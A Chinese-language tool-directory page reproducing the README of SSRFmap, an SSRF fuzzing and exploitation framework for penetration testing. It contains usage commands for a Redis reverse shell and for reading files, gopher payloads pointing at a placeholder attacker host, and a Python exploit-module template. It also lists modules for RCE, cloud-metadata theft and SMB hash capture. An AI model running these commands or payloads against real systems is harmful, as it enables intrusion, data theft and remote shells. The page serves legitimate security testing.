Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
SSRFmap — 自动SSRF模糊测试与利用工具 | Kitploit
工具/GitHubGitHub/swisskyrepo/ssrfmap
漏洞分析漏洞利用信息收集Web安全模糊测试CTF渗透测试
GitHubswisskyrepo/ssrfmap

SSRFmap

自动SSRF模糊测试与利用工具

查看仓库
3.6k5709天前Kitploit 审核通过

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

SSRFmap Python 3.4+ Rawsec's CyberSecurity Inventory

SSRF 常用于对其他服务进行利用,本框架旨在轻松发现并利用这些服务。SSRFmap 接收一个 Burp 请求文件作为输入,以及一个用于模糊测试的参数。

服务端请求伪造(SSRF)是一种攻击者迫使服务器代表其执行请求的漏洞。

概要

  • 模块
  • 安装与使用说明
  • 示例
  • SSRFmap 测试
  • 贡献
    • 感谢贡献者

模块

以下模块已实现,可通过 -m 参数使用。

安装与使用说明

  • 从 GitHub 仓库安装。

    root@kitploit:~
    $ git clone https://github.com/swisskyrepo/SSRFmap
    $ cd SSRFmap/
    $ pip3 install -r requirements.txt
    $ python3 ssrfmap.py
    
      usage: ssrfmap.py [-h] [-r REQFILE] [-p PARAM] [-m MODULES] [-l HANDLER]
                        [-v [VERBOSE]] [--lhost LHOST] [--lport LPORT]
                        [--uagent USERAGENT] [--ssl [SSL]] [--level [LEVEL]]
    
      optional arguments:
        -h, --help          show this help message and exit
        -r REQFILE          SSRF Request file
        -p PARAM            SSRF Parameter to target
        -m MODULES          SSRF Modules to enable
        -l HANDLER          Start an handler for a reverse shell
        -v [VERBOSE]        Enable verbosity
        --lhost LHOST       LHOST reverse shell or IP to target in the network
        --lport LPORT       LPORT reverse shell or port to target in the network
        --uagent USERAGENT  User Agent to use
        --ssl [SSL]         Use HTTPS without verification
        --proxy PROXY       Use HTTP(s) proxy (ex: http://localhost:8080)
        --level [LEVEL]     Level of test to perform (1-5, default: 1)
    
  • Docker

    root@kitploit:~
    $ git clone https://github.com/swisskyrepo/SSRFmap
    $ docker build --no-cache -t ssrfmap .
    $ docker run -it ssrfmap ssrfmap.py [OPTIONS] 
    $ docker run -it -v $(pwd):/usr/src/app ssrfmap ssrfmap.py
    

示例

首先你需要一个带有待模糊参数的请求,Burp 请求与 SSRFmap 配合良好。 示例如下。更多示例可以在 ./examples 文件夹中找到。

root@kitploit:~
POST /ssrf HTTP/1.1
Host: 127.0.0.1:5000
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:62.0) Gecko/20100101 Firefox/62.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://mysimple.ssrf/
Content-Type: application/x-www-form-urlencoded
Content-Length: 31
Connection: close
Upgrade-Insecure-Requests: 1

url=https%3A%2F%2Fwww.google.fr

使用 -m 参数后跟模块名称(如果要启动多个模块,用逗号分隔)。

root@kitploit:~
# 对 localhost 进行端口扫描并读取默认文件
python ssrfmap.py -r examples/request.txt -p url -m readfiles,portscan

如果你想在请求头、GET 或 POST 参数中注入,只需指定参数名称

root@kitploit:~
python ssrfmap.py -r examples/request6.txt -p X-Custom-Header -m readfiles --rfiles /tmp/test

如果需要自定义 User-Agent,请使用 --uagent。某些目标会使用 HTTPS,可以用 --ssl 启用。

root@kitploit:~
# 对 HTTPS 端点进行端口扫描,使用自定义 User-Agent
python ssrfmap.py -r examples/request.txt -p url -m portscan --ssl --uagent "SSRFmapAgent"

部分模块允许你建立反向连接,需要指定 LHOST 和 LPORT。SSRFmap 也可以监听传入的反向 shell。

root@kitploit:~
# 在 Redis 上触发反向 shell
python ssrfmap.py -r examples/request.txt -p url -m redis --lhost=127.0.0.1 --lport=4242 -l 4242

# -l 在指定端口创建监听器用于反向 shell
# --lhost 和 --lport 的作用类似于 Metasploit,这些值用于生成反向 shell 载荷

当目标受到 WAF 或某些过滤保护时,你可以通过参数 --level 尝试多种 payload 和编码。

root@kitploit:~
# --level:调整 payload 以绕过某些 IDS/WAF。例如:127.0.0.1 -> [::] -> 0000: -> ...

SSRFmap 测试

可以使用 data/example.py SSRF 服务快速测试框架。

  • 本地

    root@kitploit:~
    FLASK_APP=examples/example.py flask run &
    python ssrfmap.py -r examples/request.txt -p url -m readfiles
    
  • Docker

    root@kitploit:~
    docker build --no-cache -t ssrfmap .
    
    # 运行示例 ssrf http 服务
    docker run -it -v "$(pwd)":/usr/src/app -p 5000:5000 ssrfmap examples/example.py
    
    # 运行示例 ssrf dns 服务
    docker exec -u root:root -it example python examples/ssrf_dns.py
    
    # 运行 ssrfmap 工具
    docker exec -it example python ssrfmap.py -r examples/request.txt -p url -m readfiles
    

启动测试请求:

root@kitploit:~
docker exec -it example python ssrfmap.py -r examples/request.txt -p url -m readfiles --rfiles /etc/issue
docker exec -it example python ssrfmap.py -r examples/request2.txt -p url -m readfiles --rfiles /etc/issue
docker exec -it example python ssrfmap.py -r examples/request3.txt -p url -m readfiles --rfiles /etc/issue
docker exec -it example python ssrfmap.py -r examples/request4.txt -p url -m readfiles --rfiles /etc/issue
docker exec -it example python ssrfmap.py -r examples/request5.txt -p url -m readfiles --rfiles /etc/issue
docker exec -it example python ssrfmap.py -r examples/request6.txt -p X-Custom-Header -m readfiles --rfiles /etc/issue
docker exec -it example python ssrfmap.py -r examples/request.txt -p url -m axfr
docker exec -it example python ssrfmap.py -r examples/request3.txt -p url -m axfr --lhost 127.0.0.1 --lport 53 --ldomain example.lab

贡献

我 ❤️ pull requests :) 欢迎添加任何下面列出的功能或新服务。

  • Redis PHP 利用
  • HTTP 模块(Jenkins ?)
root@kitploit:~
gopher://<proxyserver>:8080/_GET http://<attacker:80>/x HTTP/1.1%0A%0A
gopher://<proxyserver>:8080/_POST%20http://<attacker>:80/x%20HTTP/1.1%0ACookie:%20eatme%0A%0AI+am+a+post+body

以下代码是添加与某个服务交互模块的模板。

root@kitploit:~
from core.utils import *
import logging

name          = "servicename in lowercase"
description   = "ServiceName RCE - What does it do"
author        = "Name or pseudo of the author"
documentation = ["http://link_to_a_research", "http://another_link"]

class exploit():
    SERVER_HOST = "127.0.0.1"
    SERVER_PORT = "4242"

    def __init__(self, requester, args):
        logging.info("Module '{}' launched !".format(name))

        # Handle args for reverse shell
        if args.lhost == None: self.SERVER_HOST = input("Server Host:")
        else:                  self.SERVER_HOST = args.lhost

        if args.lport == None: self.SERVER_PORT = input("Server Port:")
        else:                  self.SERVER_PORT = args.lport

        # Data for the service
        # Using a generator to create the host list
        # Edit the following ip if you need to target something else
        gen_host = gen_ip_list("127.0.0.1", args.level)
        for ip in gen_host:
            port = "6379"
            data = "*1%0d%0a$8%0d%0aflus[...]%0aquit%0d%0a"
            payload = wrapper_gopher(data, ip , port)

            # Handle args for reverse shell
            payload = payload.replace("SERVER_HOST", self.SERVER_HOST)
            payload = payload.replace("SERVER_PORT", self.SERVER_PORT)

            # Send the payload
            r = requester.do_request(args.param, payload)

你也可以通过现实中的啤酒或 GitHub Sponsor 按钮进行贡献。

感谢贡献者

灵感来源

  • How I Chained 4 vulnerabilities on GitHub Enterprise, From SSRF Execution Chain to RCE! - Orange Tsai
  • Blog on Gopherus Tool -SpyD3r
  • Gopherus - Github
  • SSRF testing - cujanovic
下载工具
名称描述
axfrDNS 区域传输(AXFR)
fastcgiFastCGI RCE
redisRedis RCE
githubGithub Enterprise RCE < 2.8.7
zabbixZabbix RCE
mysqlMySQL 命令执行
postgresPostgres 命令执行
docker通过 API 获取 Docker 信息泄露
smtpSMTP 发送邮件
portscan扫描主机的 top 8000 端口
networkscan网络 HTTP Ping 扫描
readfiles读取文件,如 /etc/passwd
alibaba从云服务商读取文件(如元数据、用户数据)
aws从云服务商读取文件(如元数据、用户数据)
gce从云服务商读取文件(如元数据、用户数据)
digitalocean从云服务商读取文件(如元数据、用户数据)
socksproxySOCKS4 代理
smbhash通过 UNC 路径强制进行 SMB 认证
tomcat针对 Tomcat Manager 的暴力破解攻击
custom向监听服务发送自定义数据,例如 netcat
memcache在 memcache 实例中存储数据